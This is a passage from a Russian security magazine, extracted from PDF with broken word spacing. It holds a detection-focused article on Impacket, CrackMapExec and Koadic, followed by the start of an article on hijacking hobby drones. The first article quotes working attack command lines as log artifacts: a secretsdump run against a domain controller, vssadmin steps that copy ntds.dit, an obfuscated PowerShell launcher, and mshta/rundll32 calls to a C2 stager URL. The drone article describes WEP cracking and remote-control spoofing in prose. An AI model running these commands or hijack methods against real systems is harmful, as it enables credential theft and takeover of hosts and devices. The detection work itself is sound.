перимет ра.  Мно гие  инс тру мен ты  исполь зуют  модули  Impacket  у  себя  внут‐ 
ри  —  нап ример,  Metasploit.  В  нем  име ются  ути литы  dcomexec  и  wmiexec
для  уда лен ного  выпол нения  команд,  secretsdump  для  получе ния  из  памяти
учет ных записей, которые добав лены из Impacket. В ито ге пра виль ное обна‐ 
руже ние  активнос ти  такой  биб лиоте ки  обес печит  и  обна руже ние  про‐ 
изводных.

О CrackMapExec (или прос то CME) соз датели нес лучай но написа ли Pow‐
ered  by  Impacket.  Помимо  его  фун кций,  в  CME  вхо дят  средс тва  для  реали‐ 
зации  популяр ных  сце нари ев:  это  и  BloodHound,  и  Mimikatz  для  получе ния
паролей или их хешей, и внед рение Meterpreter либо Empire agent для уда лен‐ 
ного исполне ния.

Тре тий  выб ранный  нами инс тру мент — Koadic. Он  дос таточ но  свеж,  был
пред став лен  на DEF CON 25  в  2017  году  и  отли чает ся  нес тандар тным под‐ 
ходом: работой через HTTP, JavaScript и VBScript. Такой под ход называ ют liv‐
ing off  the  land:  инс тру мент  поль зует ся  набором  зависи мос тей и биб лиотек,
встро енных  в  Windows.  Соз датели  называ ют  его  COM  Сommand  &  Сontrol,
или С3.

IMPACKET
Фун кци ональ ность  Impacket  весь ма широка, начиная от раз ведки внут ри AD
и  сбо ра  дан ных  с  внут ренних  сер веров  MS  SQL  и  закан чивая  тех никами
для получе ния учет ных дан ных: это и ата ка SMB Relay, и получе ние с кон трол‐ 
лера домена фай ла ntds.dit, содер жащего хеши паролей поль зовате лей. Так‐ 
же  Impacket  уда лен но  выпол няет  коман ды  четырь мя  раз ными  спо соба ми:
через WMI, сер вис для  управле ния пла ниров щиком Windows, DCOM и SMB.
И для это го ему нуж ны учет ные дан ные.

Secretsdump
В качес тве цели для модуля secretsdump могут выс тупать  как машины поль‐ 
зовате лей, так и кон трол леры домена. С его помощью мож но получать копии
областей памяти LSA, SAM, SECURITY, NTDS.dit, поэто му его мож но уви деть
на раз ных ста диях ата ки.

Пер вый  шаг  в  работе  это го  модуля  —  аутен тифика ция  через  SMB,
для  которой  необ ходим  либо  пароль  поль зовате ля,  либо  его  хеш  для  авто‐ 
мати чес кого про веде ния ата ки Pass the Hash. Далее идет зап рос на откры тие
дос тупа  к  Service  Control  Manager  (SCM)  и  получе ние  дос тупа  к  реес тру
по  про токо лу  winreg,  исполь зуя  который  ата кующий  может  узнать  дан ные
инте ресу ющих его веток и получить резуль таты через SMB.

На  кар тинке  ниже  мы  видим,  как  имен но  при  исполь зовании  про токо ла
winreg  про исхо дит  получе ние  дос тупа  по  клю чу  реес тра  с  LSA.  Для  это го
исполь зует ся коман да DCERPC с opcode 15 —  .OpenKey

От кры тие клю ча реес тра по про токо лу winreg

Да лее,  ког да  дос туп  по  клю чу  получен,  зна чения  сох раня ются  коман дой
 с opcode 20. Impacket дела ет это весь ма спе цифич но. Он сох раня ет

зна чения в файл, имя которо го — это стро ка из вось ми слу чай ных сим волов
с добав лени ем  . Кро ме того, даль нейшая выг рузка это го фай ла про исхо‐ 
дит через SMB из дирек тории  .

SaveKey

.tmp
System32

Схе ма получе ния клю ча реес тра с уда лен ной машины

Вы ходит,  обна ружить  такую  активность  в  сети  мож но  бла года ря  зап росам
к опре делен ным вет кам реес тра по про токо лу winreg, спе цифич ным име нам,
коман дам и их поряд ку.

Так же этот модуль оставля ет сле ды в жур нале событий Windows, бла года‐ 
ря которым он лег ко обна ружи вает ся. Нап ример, поп робуй выпол нить коман‐ 
ду

secretsdump.py ‐debug ‐system SYSTEM ‐sam SAM ‐ntds NTDS ‐security 
SECURITY ‐bootkey BOOTKEY ‐outputfile 1.txt ‐use‐vss ‐exec‐method 
mmcexec ‐user‐status ‐dc‐ip 192.168.202.100 ‐target‐ip 192.168.202.
100 contoso/Administrator:@DC

В резуль тате в жур нале Windows Server 2016 появит ся сле дующая клю чевая
пос ледова тель ность событий.
1.   — уда лен ный Logon.4624

2.   — про вер ка прав дос тупа к уда лен ному сер вису winreg.5145

3.    —  про вер ка  прав  дос тупа  к  фай лу  в  дирек тории  System32.  Файл
име ет слу чай ное имя по опи сан ному выше прин ципу.
5145

4.   — соз дание про цес са cmd.exe, который запус кает vssadmin:4688

"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.
exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > 
%TEMP%\execute.bat & C:\windows\system32\cmd.exe /Q /c %TEMP%\
execute.bat & del %TEMP%\execute.bat

5.   — соз дание про цес са с коман дой4688

"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.
exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\
__output > %TEMP%\execute.bat & C:\windows\system32\cmd.exe /Q /c 
%TEMP%\execute.bat & del %TEMP%\execute.bat

6.   — соз дание про цес са с коман дой4688

"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.
exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\
Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEM
ROOT%\Temp\__output > %TEMP%\execute.bat & C:\windows\system32\
cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

7.   — соз дание про цес са с коман дой4688

"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.
exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\
Temp\__output > %TEMP%\execute.bat & C:\windows\system32\cmd.exe /
Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

Smbexec
Как  и  у мно гих  инс тру мен тов  для  пос тэкс плу ата ции,  у  Impacket  есть модули
для  уда лен ного  выпол нения  команд.  Мы  оста новим ся  на  smbexec,  который
дает  инте рак тивную  коман дную  обо лоч ку  на  уда лен ной  машине.  Для  это го
модуля так же тре бует ся аутен тифика ция через SMB либо паролем, либо его
хешем. На скрин шоте ниже ты можешь наб людать при мер работы такого инс‐ 
тру мен та, в дан ном слу чае это кон соль локаль ного адми нис тра тора.

Ин терак тивная кон соль smbexec

Пер вый этап smbexec пос ле аутен тифика ции — это откры тие SCM коман дой
. Зап рос при меча телен: в нем поле   име‐ 

ет зна чение  .
OpenSCManagerW (15) MachineName

DUMMY

Зап рос на откры тие Service Control Manager

Да лее соз дает ся сер вис с помощью коман ды  . В слу‐ 
чае  smbexec  мы  можем  видеть  каж дый  раз  оди нако вую  логику  пос тро ения
коман ды.  На  скрин шоте  ниже  зеленым  цве том  отме чены  неиз меня емые
парамет ры коман ды, жел тым — то, что ата кующий может изме нить. Нет рудно
заметить, что имя исполня емо го фай ла, его дирек торию и файл output изме‐ 
нить  мож но,  но  оставше еся  поменять  куда  слож нее,  не  нарушая  логику
работы модуля Impacket.

CreateServiceW (12)

Зап рос на соз дание сер виса с помощью Service Control Manager

Smbexec  так же  оставля ет  явные  сле ды  в  жур нале  событий Windows.  В  жур‐ 
нале Windows Server 2016 для инте рак тивной коман дной обо лоч ки с  коман‐ 
дой   уви дим сле дующую клю чевую пос ледова тель ность событий:ipconfig
1.   — уста нов ка сер виса на машине жер твы:4697

%COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > 
%TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del 
%TEMP%\execute.bat

2.   — соз дание про цес са   с аргу мен тами из пун кта 1.4688 cmd.exe
3.   — про вер ка прав дос тупа к фай лу   в дирек тории  .5145 __output C$
4.   — уста нов ка сер виса на машине жер твы.4697

%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > 
%TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del 
%TEMP%\execute.bat

5.   — соз дание про цес са   с аргу мен тами из пун кта 4.4688 cmd.exe
6.   — про вер ка прав дос тупа к фай лу   в дирек тории  .5145 __output C$

На Impacket осно ваны мно гие инс тру мен ты для атак. Он под держи вает поч ти
все  про токо лы  Windows  и  при  этом  име ет  свои  харак терные  осо бен ности.
Здесь и кон крет ные зап росы winreg, и исполь зование SCM API с харак терным
фор мирова нием  команд,  и фор мат  имен фай лов,  и SMB  share  с  наз вани ем
SYSTEM32.

CRACKMAPEXEC
Инс тру мент  CME  приз ван  в  пер вую  оче редь  авто мати зиро вать  те  рутин ные
дей ствия,  которые  ата кующий  выпол няет  для  прод вижения  внут ри  сети.  Он
поз воля ет работать в связ ке с небезыз вес тны ми Empire agent и Meterpreter.
Что бы выпол нять коман ды скрыт но, CME может их обфусци ровать. Исполь зуя
BloodHound  (отдель ный  инс тру мент  для  про веде ния  раз ведки),  ата кующий
может авто мати зиро вать поиск активной сес сии домен ного адми нис тра тора.
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ПОЙМАТЬ
НАРУШИТЕЛЯ!

УЧИМСЯ ДЕТЕКТИРОВАТЬ ИНСТРУМЕНТЫ
АТАК НА WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

BloodHound
BloodHound  как  самос тоятель ный  инс тру мент  поз воля ет  вес ти  прод винутую
раз ведку внут ри сети. Он собира ет дан ные о поль зовате лях, машинах, груп‐ 
пах, сес сиях и пос тавля ется в виде скрип та на PowerShell или бинар ного фай‐ 
ла.

Для  сбо ра  информа ции  исполь зуют ся  LDAP  или  про токо лы  на  осно ве
SMB.  Интегра цион ный  модуль  CME  поз воля ет  заг ружать  BloodHound
на  машину  жер твы,  запус кать  и  получать  соб ранные  дан ные  пос ле  выпол‐ 
нения,  тем  самым  авто мати зируя  дей ствия  в  сис теме  и  делая  их  менее
замет ными.

Гра фичес кая  обо лоч ка  BloodHound  пред став ляет  соб ранные  дан ные
в виде гра фов, что поз воля ет най ти крат чай ший путь от машины ата кующе го
до домен ного адми нис тра тора.

Ин терфейс BloodHound

Для  запус ка  на  машине  жер твы  модуль  соз дает  задачу,  исполь зуя  ATSVC
и SMB. ATSVC — это интерфейс для работы с пла ниров щиком задач Windows.
CME исполь зует его фун кцию   для соз дания задач по сети.
При мер  того,  что  отправ ляет  модуль  CME,  показан  на  кар тинке  ниже:
это  вызов  коман ды    и  обфусци рован ный  код  в  виде  аргу мен тов
в фор мате XML.

NetrJobAdd (1)

cmd.exe

Соз дание задачи через CME

Пос ле  того  как  задача  пос тупила  на  исполне ние, машина жер твы  запус кает
сам  BloodHound,  и  в  тра фике  это  мож но  уви деть.  Для  модуля  харак терны
LDAP‐зап росы для получе ния стан дар тных групп, спис ка всех машин и поль‐ 
зовате лей  в  домене,  получе ние  информа ции  об  активных  поль зователь ских
сес сиях через зап рос  .SRVSVC NetSessEnum

По луче ние спис ка активных сес сий через SMB

Кро ме  того,  запуск  BloodHound  на  машине  жер твы  с  вклю чен ным  ауди том
соп ровож дает ся событи ем с ID   (соз дание про цес са) и име нем про цес‐ 
са  . При меча тель ны в нем аргу мен ты коман‐ 
дной стро ки:

4688
C:\Windows\System32\cmd.exe

cmd.exe /Q /c powershell.exe ‐exec bypass ‐noni ‐nop ‐w 1 ‐C " & ( 
$eNV:cOmSPEc[4,26,25]‐JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 
101 , … , 40,41 )‐jOIN'' ) "

Enum_avproducts
Весь ма  инте ресен  с  точ ки  зре ния  фун кци ональ нос ти  и  реали зации  модуль

. WMI поз воля ет с помощью язы ка зап росов WQL получать
дан ные объ ектов Windows,  чем,  по  сути,  и  поль зует ся  этот модуль CME. Он
генери рует  зап росы  к  клас сам    и  ,
собирая дан ные о средс твах защиты, уста нов ленных на машине жер твы. Что‐ 
бы  получить  нуж ную  информа цию,  модуль  выпол няет  под клю чение  к  прос‐ 
транс тву  имен  ,  затем  фор миру ет  WQL‐зап рос
и  получа ет  ответ.  Ниже  показа но  содер жимое  таких  зап росов  и  отве тов.
В нашем при мере нашел ся Windows Defender.

enum_avproducts

AntiSpywareProduct AntiМirusProduct

root\SecurityCenter2

Се тевая активность модуля enum_avproducts

За час тую  аудит  WMI  (Trace  WMI‐Activity),  в  событи ях  которо го  мож но  най ти
полез ную  информа цию  о  WQL‐зап росах,  может  ока зать ся  вык лючен ным.
Но если он вклю чен, то в слу чае запус ка сце нария enum_avproducts сох ранит‐ 
ся  событие  с  ID  .  В  нем  будет  содер жать ся  имя  поль зовате ля,  который
отпра вил зап рос, и имя в прос транс тве имен  .

11
root\SecurityCenter2

У каж дого из модулей CME обна ружи лись свои арте фак ты. Это и спе цифи‐ 
чес кие WQL‐зап росы, и соз дание опре делен ного вида задачи в Task Sched‐
uler с обфуска цией, и харак терная для BloodHound активность в LDAP и SMB.

KOADIC
От личитель ная осо бен ность Koadic — это исполь зование встро енных в Win‐
dows интер пре тато ров JavaScript и VBScript. В этом смыс ле он сле дует трен ду
living off the land — то есть не име ет внеш них зависи мос тей и поль зует ся стан‐ 
дар тны ми средс тва ми Windows.

Это  инс тру мент  для  пол ноцен ного  Command  &  Control  (C&C),  пос коль ку
пос ле  зараже ния  на  машину  уста нав лива ется  «имплант»,  поз воля ющий  ее
кон тро лиро вать.  Такая машина  в  тер миноло гии Koadic  называ ется  «зом би».
При нех ватке при виле гий для пол ноцен ной работы на сто роне жер твы Koadic
может их под нять, исполь зуя тех ники обхо да кон тро ля учет ных записей (UAC
bypass).

Ко ман дная обо лоч ка Koadic

Жер тва дол жна сама ини цииро вать обще ние с сер вером Command & Control.
Для  это го  ей  необ ходимо  обра тить ся  по  заранее  под готов ленно му  URI
и  получить  основное  тело  Koadic  с  помощью  одно го  из  стей дже ров.  Ниже
показан при мер для стей дже ра MSHTA.

Ини циали зация сес сии с сер вером C&C

По перемен ной   из отве та ста новит ся понят но, что исполне ние про исхо дит
через  ,  а  перемен ные  ,  ,  , 

,   содер жат клю чевую информа цию о парамет рах текущей сес сии.
Это  пер вая  пара  зап рос‐ответ  в  HTTP‐соеди нении  с  сер вером  C&C.  Пос‐ 
леду ющие  зап росы  свя заны  непос редс твен но  с  фун кци ями  вызыва емых
модулей  (имплан тов).  Все  модули  Koadic  работа ют  толь ко  с  активной  сес‐ 
сией c C&C.

WS
WScript.Shell STAGER SESSIONKEY JOBKEY JOBKEY‐

PATH EXPIRE

Mimikatz
Так  же  как  CME  работа ет  с  BloodHound,  Koadic  работа ет  с  Mimikatz  как  с
отдель ной прог раммой и может запус кать ее нес коль кими спо соба ми. Ниже
пред став лена пара зап рос‐ответ для заг рузки имплан та Mimikatz.

Пе реда ча Mimikatz в Koadic

Мож но заметить, как изме нил ся фор мат URI в зап росе. В нем появи лось зна‐ 
чение у перемен ной  , которая отве чает за выб ранный модуль. Не обра‐ 
щай вни мания на ее наз вание: все мы зна ем, что под CSRF обыч но понима ют
дру гое. В ответ приш ло все то же основное тело Koadic, в которое добавил ся
код,  свя зан ный  с  Mimikatz.  Он  объ емный,  поэто му  рас смот рим  клю чевые
момен ты.

csrf

Пе ред  нами  закоди рован ная  в  Base64  биб лиоте ка  Mimikatz,  сери али‐ 
зован ный  .NET‐класс,  который  будет  ее  инжекти ровать,  и  аргу мен ты
для запус ка Mimikatz. Резуль тат  выпол нения переда ется по сети в откры том
виде.

Ре зуль тат выпол нения Mimikatz на уда лен ной машине

Exec_cmd
В Koadic есть и модули, спо соб ные уда лен но выпол нять коман ды. Здесь мы
уви дим все тот же метод генера ции URI и зна комые перемен ные   и  .
В слу чае модуля exec_cmd в тело добав ляет ся код, который спо собен выпол‐ 
нять  коман ды  shell.  Ниже  показан  такой  код,  содер жащий ся  в  HTTP‐отве те
C&C‐сер вера.

sid csrf

Код имплан та exec_cmd

Пе ремен ная   со зна комым атри бутом   необ ходима для выпол‐ 
нения  кода. С ее помощью имплант вызыва ет шелл, обра баты вая две вет ки
кода —   с воз вра щени ем выход ного потока дан ных и 
без воз ращения.
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shell.exec shell.run

Koadic — нетипич ный инс тру мент, но име ет свои арте фак ты, по которым
его мож но най ти в легитим ном тра фике:

осо бое фор мирова ние HTTP‐зап росов,•
ис поль зование winHttpRequests API,•
соз дание объ екта   через ActiveXObject,• WScript.Shell

боль шое исполня емое тело.•

Из началь ное  соеди нение  ини циирует  стей джер,  поэто му  появ ляет ся  воз‐ 
можность обна ружи вать его активность через события Windows. Для MSHTA
это событие  , которое говорит о соз дании про цес са с атри бутом запус‐ 
ка:

4688

C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6

Во вре мя выпол нения Koadic мож но  уви деть и дру гие события   с атри‐ 
бута ми, которые отлично его харак теризу ют:

4688

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fb
a83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405
690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\
mshtml,RunHTMLApplication
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\
Users\user02\AppData\Local\Temp\6dc91b53‐ddef‐2357‐4457‐04a3c333db06.
txt 2>&1
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\
user02\AppData\Local\Temp\721d2d0a‐890f‐9549‐96bd‐875a495689b7.txt 2>
&1

ВЫВОДЫ
Зло умыш ленни ки  нын че  широко  исполь зуют  для  сво их  нужд  встро енные
в Windows инс тру мен ты и механиз мы. Мы видим, как популяр ные инс тру мен ты
Koadic, CrackMapExec и Impacket, сле дующие прин ципу living off the land, все
чаще  встре чают ся  в  отче тах  об APT.  Чис ло фор ков  на GitHub  у  этих  инс тру‐ 
мен тов тоже рас тет — сей час их уже око ло тысячи.

Этот тренд набира ет популяр ность из‐за его прос тоты: зло умыш ленни кам
не нуж ны сто рон ние инс тру мен ты, они уже есть на машинах жертв и помога ют
обхо дить средс тва защиты.

Мы  в  Positive  Technologies  сос редото чены  на  изу чении  сетево го  вза имо‐ 
дей ствия:  каж дый  опи сан ный  выше  инс тру мент  оставля ет  свои  сле ды
в сетевом тра фике; под робное их иссле дова ние поз волило нам научить наш
про дукт    их  обна ружи вать,  что  в  ито ге  помога ет
рас путать всю цепоч ку киберин циден тов с их учас тием.

PT  Network  Attack  Discovery

https://www.ptsecurity.com/ru-ru/products/network-attack-discovery/
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ВЗЛОМ

Од новре мен но  с  раз вити ем  интерне та  вещей  эво люци они руют  и  методы
взло ма  умных  девай сов.  Уже  сей час  сущес тву ет  целый 

, но одни ми толь ко роуте рами,  телеп ристав ками и  IP‐виде ока мера ми
ассорти мент интеллек туаль ных устрой ств отнюдь не исчерпы вает ся. Осо бый
инте рес  с  точ ки  зре ния  информа цион ной  безопас ности  пред став ляют  дро‐ 
ны  —  научить ся  управлять  чужим  летатель ным  аппа ратом  меч тают  мно гие.
Име ются ли спо собы «уго на» коп теров? Сей час раз берем ся!

зо опарк  тро янов
для IoT

К ИСТОРИИ ВОПРОСА
На  борь бу  c  бес пилот никами,  а  так же  на  меры,  регули рующие  их  исполь‐ 
зование  населе нием,  государс тва  еже год но  тра тят  мил лионы  дол ларов,
прав да без осо бого успе ха. На слу ху недав ний слу чай, ког да работа бри тан‐ 
ско го аэро пор та Гат вик была на нес коль ко дней парали зова на невесть отку да
взяв шимися коп терами, для унич тожения которых пра витель ство даже вынуж‐ 
дено  было  прив лекать  снай перов.  Что  уж  говорить  о  чинов никах,  которым
не  дают  покоя  сну ющие  над  их  поместь ями  дро ны  с  виде ока мера ми,  так
и  норовя щие  сунуть  свой  назой ливый  объ ектив  в  чужую  час тную  жизнь.  Эх,
если  бы  сущес тво вал  надеж ный  спо соб  перех вата  управле ния  бес пилот‐ 
никами,  завет ная  меч та  мно гих  государс твен ных  деяте лей  ста ла  бы  реаль‐ 
ностью. Или такой спо соб все же сущес тву ет?

Ес ли бы все было так прос то, как кажет ся, пра витель ствен ные чинов ники
не  изоб ретали  бы  хит роум ные  спо собы  борь бы  с  лета ющей  элек трон ной
нечистью  вро де  тре ниров ки  охот ничь их  соколов,  раз работ ки  воору жен ных
сетями  дро нов‐перех ватчи ков  и  соз дания  про чих  элек тро маг нитных  пушек.
Но  если  пос мотреть  на  проб лему  с  инже нер ной  точ ки  зре ния,  любой  коп‐ 
тер  —  это  по  боль шому  сче ту  элек трон ное  устрой ство  с  дис танци онным
управле нием,  а  зна чит,  ради ока нал,  по  которо му  переда ются  управля ющие
коман ды,  теоре тичес ки  может  быть  ском про мети рован.  Воп рос  толь ко
в слож ности дос тижения этой цели, одна ко, как говорит ся, нет таких кре пос‐ 
тей, которые нес пособ на взять Крас ная армия.

Для  начала  пред лагаю  отде лить  двук рылых  насеко мых  от  мяс ных  блюд
из жарено го фар ша. Ког да речь идет о  копе ечных игрушках с  «Али Экс прес‐ 
са»,  в  пуль тах  которых  не  при меня ется  авто риза ция  при  соеди нении  с  при‐ 
емни ком,  «перех ват»  не  пред став ляет  осо бой  тех ничес кой  слож ности.  Если
сра зу пос ле вклю чения питания коп тера или при соеди нения к нему акку муля‐ 
тора,  в  момент,  ког да  на  бес пилот нике  быс тро мига ет  све тоди одный  инди‐ 
катор  и  устрой ство  находит ся  в  режиме  поис ка  передат чика,  пер вым  вклю‐ 
чить поб лизос ти ана логич ный тран смит тер (при исполь зовании «уни вер саль‐ 
ных» пуль тов еще при дет ся нажать на кноп ку Bind), то дрон с высокой долей
веро ятности «под цепит ся» имен но к нему и «потеря ет» ори гиналь ный. А вот
если мы говорим о более‐менее серь езной тех нике, то тут дело обсто ит нам‐ 
ного слож нее.

ПОД КАПОТОМ
Мно гие  летатель ные  аппа раты  с  дис танци онным  управле нием  (рав но  как  и
ради оуп равля емые  игрушки)  исполь зуют  для  обме на  дан ными  про токол
DSM2/DSMX,  при  этом  в  качес тве  рас простра нен ной  аль тер нативы  мож но
наз вать  тех нологию SLT. DSM при меня ется в широко полос ных передат чиках
с  час тотой  2,4  ГГц  и  счи тает ся  хорошо  защищен ным  от  слу чай ных  помех
в  ради ока нале.  Этот  про токол  поз воля ет  сох ранять  дан ные  полета  в  файл
жур нала,  при  этом  DSM2  под держи вает  фун кцию  обна руже ния  отклю чения
сиг нала (нап ример, при сбое питания), а DSMX — нет, но оба этих стан дарта
сов мести мы. Про токол SLT работа ет на той же час тоте и сов местим с тран‐ 
смит терами  раз личных  про изво дите лей,  но  «род ное»  для  него  железо  —
устрой ства про изводс тва ком паний Tactic и Hitec.

Еще  один  про токол,  под держи ваемый  некото рыми  бес пилот ными
летатель ными аппа рата ми, носит наиме нова ние MAVlink, он час то задей ству‐ 
ется для переда чи телемет рии. MAVlink име ет откры тый исходный код, реали‐ 
зован  в  виде модуля  Python  и  рас простра няет ся  под  лицен зией  LGPL. Этот
про токол  по  умол чанию  не  при меня ет  шиф рование  при  обме не  дан ными
и  поэто му  теоре тичес ки  более  уяз вим  к  ата кам  по  срав нению  с  кон куриру‐ 
ющи ми тех нологи ями, где такая фун кция име ется.

Ряд  коп теров,  которы ми мож но  управлять с  любого сов ремен ного смар‐ 
тфо на,  исполь зует  в  качес тве  сре ды  переда чи  дан ных  бес про вод ную
сеть 802.11 с WEP‐шиф ровани ем. О безопас ности Wi‐Fi писалось уже мно го
и весь ма под робно, так что нет смыс ла пов торять ся. Взлом такой сети мож но
наз вать  рутин ной  про цеду рой,  арсе нал  име ющих ся  для  это го  тех ничес ких
средств весь ма обши рен.

А теперь от обще го перей дем к час тно му.

УГНАТЬ ЗА ШЕСТЬДЕСЯТ СЕКУНД
В пер вую оче редь погово рим о дро нах, работа ющих по бес про вод ной сети.
Почему соз датели коп теров решили исполь зовать в качес тве алго рит ма шиф‐ 
рования  неус той чивый  к  взло му  WEP  вмес то  более  рас простра нен ного
WPA/WPA2 —  тай на,  пок рытая мра ком,  но,  веро ятнее все го,  это  как‐то свя‐ 
зано со ско ростью переда чи и обра бот ки дан ных обо рудо вани ем летатель‐ 
ного аппа рата. Одно дело, если вдруг нач нет лагать локаль ная сеть, и сов сем
дру гое  —  если  сбой нет  канал  свя зи  с  дро ном,  летящим  на  высоте  десяти
мет ров над чужим ого родом. Пос ледс твия будут совер шенно раз ными.

Как и любое дру гое подоб ное устрой ство, коп тер с Wi‐Fi на бор ту обо рудо ван
сетевым  адап тером,  име ющим  MAC‐адрес,  по  которо му  его  мож но  иден‐ 
тифици ровать. Так работа ют, нап ример, летатель ные аппа раты Parrot. Смар‐ 
тфон  с  уста нов ленным  при ложе нием  слу жит  в  этом  слу чае  ана логом  пуль та
управле ния, с которо го дрон и получа ет коман ды.

Для иден тифика ции управля юще го устрой ства исполь зует ся ID Key — уни‐ 
каль ная мет ка,  «при вязан ная»  к  уста нов ленно му  на  смар тфо не  при ложе нию
(Flight control software) и текущей сес сии. Прин цип взло ма прост: ата кующий
под клю чает ся к сети дро на, опре деля ет уни каль ную мет ку, пос ле чего отправ‐ 
ляет коп теру коман ду, которая зас тавит его отклю чить ся от текуще го управля‐ 
юще го  устрой ства  и  начать  при ем  команд  со  смар тфо на  зло умыш ленни ка,
име ющих «ско пиро ван ную» мет ку ори гиналь ного устрой ства.

На прак тике для взло ма сети бес пилот ников исполь зовалось при ложе ние
. Прог рамма уме ет монито рить эфир в поис ках защищен ных сетей

Wi‐Fi,  перех ватывать  пакеты  и  экспор тировать  из  них  дан ные  для  пос леду‐ 
юще го ана лиза, а так же при менять раз личные алго рит мы сетевых атак. Под‐ 
робнее ее фун кции опи саны на сай те про изво дите ля.

Aircrack‐ng

Од нако  прос то  взло мать  сеть  недос таточ но,  нуж но  еще  перех ватить
переда ваемые  меж ду  дро ном  и  опе рато ром  дан ные.  При мер  реали зации
такого перех вата про демонс три ровал парень по име ни Сэми Кам кар  (Samy
Kamkar), соб рав для этих целей спе циаль ный девайс на осно ве одноплат ного
компь юте ра  Raspberry  Pi  и  записав  свои  экспе римен ты  на  .  Суть  его
метода вкрат це такова.

ви део

Чу вак исполь зовал Raspberry Pi с вот кну тым в его USB‐порт Wi‐Fi‐дон глом
и  внеш ний  адап тер  Alfa  AWUS036H,  с  помощью  которо го  он,  собс твен но,
и  взла мывал  сеть.  Одноплат ник  был  запитан  от  батареи  через  Micro  USB
и  исполь зовал ся  в  качес тве  ска нера,  про щупы вающе го  эфир  и  опре деля‐ 
юще го MAC‐адре са под клю чен ных к бес про вод ным сетям устрой ств. Фиш ка
зак люча ется в том, что все коп теры про изводс тва ком пании Parrot исполь зуют
схо жие MAC‐адре са из одно го бло ка, све дения о котором мож но най ти в пуб‐ 
личных источни ках. Про верив адрес на соот ветс твие это му диапа зону, мож но
безоши боч но  опре делить,  что  перед  нами  имен но  бес пилот ник  Parrot,  а  не
какая‐нибудь умная хле борез ка или ско ровар ка с сетевым интерфей сом.

В  упо мяну том  видео  исполь зовал ся  кли ент  node‐ar‐drone,  написан ный
на Node.js  и  пред назна чен ный для работы с  коп терами Parrot  AR Drone 2.0.
Исходни ки этой биб лиоте ки мож но най ти на  . Node‐ar‐drone поз воля ет
вза имо дей ство вать с дро нами Parrot  при помощи команд JavaScript: менять
нап равле ние и высоту полета, получать виде опо ток или сним ки с камеры коп‐ 
тера, а так же делать с ним дру гие забав ные вещи.

GitHub

Сэ ми  Кам кар  при соба чил  Raspberry  Pi  на  собс твен ный  квад рокоп тер
и  запус тил  его  в  поис ках  дру гих  дро нов Parrot. Обна ружив  сеть  такого  бес‐ 
пилот ника,  наш иссле дова тель  взла мывал ее  с  исполь зовани ем Aircrack‐ng,
уста нав ливал соеди нение с «вра жес ким» дро ном, а затем при помощи node‐
ar‐drone  перех ватывал  пос тупа ющий  с  коп тера  виде опо ток.  Таким  обра зом
он мог видеть все, что попада ло в поле зре ния камеры «взло ман ного» бес‐ 
пилот ника, но управле ние полетом дро на в этом экспе римен те реали зова но
не было.

Пе рех ват  управле ния  квад рокоп тером  Syma  при мер но  схо жим  обра зом
реали зова ли ребята из Positive Technologies, о чем был снят поз наватель ный

.  Базовая  идея  тут  была  заложе на  та  же  самая:  Raspberry  Pi
в  качес тве  ска нера  каналов,  поз воля юще го  отсле дить  работа ющие  поб‐ 
лизос ти тран смит теры и перех ватить уни каль ный иден тифика тор пуль та бес‐ 
пилот ника.  Имен но  на  про вер ке  это го  иден тифика тора  и  стро ится  вся  сис‐ 
тема безопас ности  про токо ла  управле ния,  исполь зуемо го  коп терами Syma.
Если этот иден тифика тор вбить в прог рамму, эму лиру ющую работу пуль та, ты
получишь воз можность управлять бес пилот ником.

ви деосю жет

Пос ле  запус ка  эму лято ра,  при соеди нен ного  к  ВЧ‐передат чику  сиг нала,
дрон ока зыва ется под клю чен одновре мен но к двум пуль там управле ния: нас‐ 
тояще му,  который находит ся  в  руках  у RC‐пилота,  и  под дель ному,  при  этом
аппа рат  откли кает ся  на  коман ды  с  обо их  пуль тов.  Суть  хака  зак люча ется
в том, что работа ющая на пуль те зло умыш ленни ка прог рамма может отсы лать
дро ну  управля ющие  коман ды  вдвое  чаще  ори гиналь ного  пуль та.  Если  опе‐ 
ратор, нап ример, отдаст  коп теру коман ду сни жать ся,  то от зло умыш ленни ка
в ту же дис крет ную еди ницу вре мени может пос тупить две коман ды уве личить
обо роты. Бес пилот ник пос лушно обра бота ет их все, но резуль тиру ющим дей‐ 
стви ем  будет  набор  высоты,  пос коль ку  таких  дирек тив  пос тупило  боль ше.
Исполь зуя  эту  нехит рую  осо бен ность  выпол нения  команд  по  оче реди,
похити тель  может  увес ти  дрон  за  пре делы  зоны  дей ствия  ори гиналь ного
пуль та управле ния и бла гопо луч но посадить его в сосед нем лесоч ке.

БОЛЬШИЕ ИГРУШКИ
В пре дыду щем раз деле речь шла о недоро гих и доволь но прос тых по конс‐ 
трук ции  летатель ных  аппа ратах.  А  как  нас чет  «серь езной»  тех ники,  исполь‐ 
зующей шиф рование, или бес пилот ников, которые переда ют дан ные по про‐ 
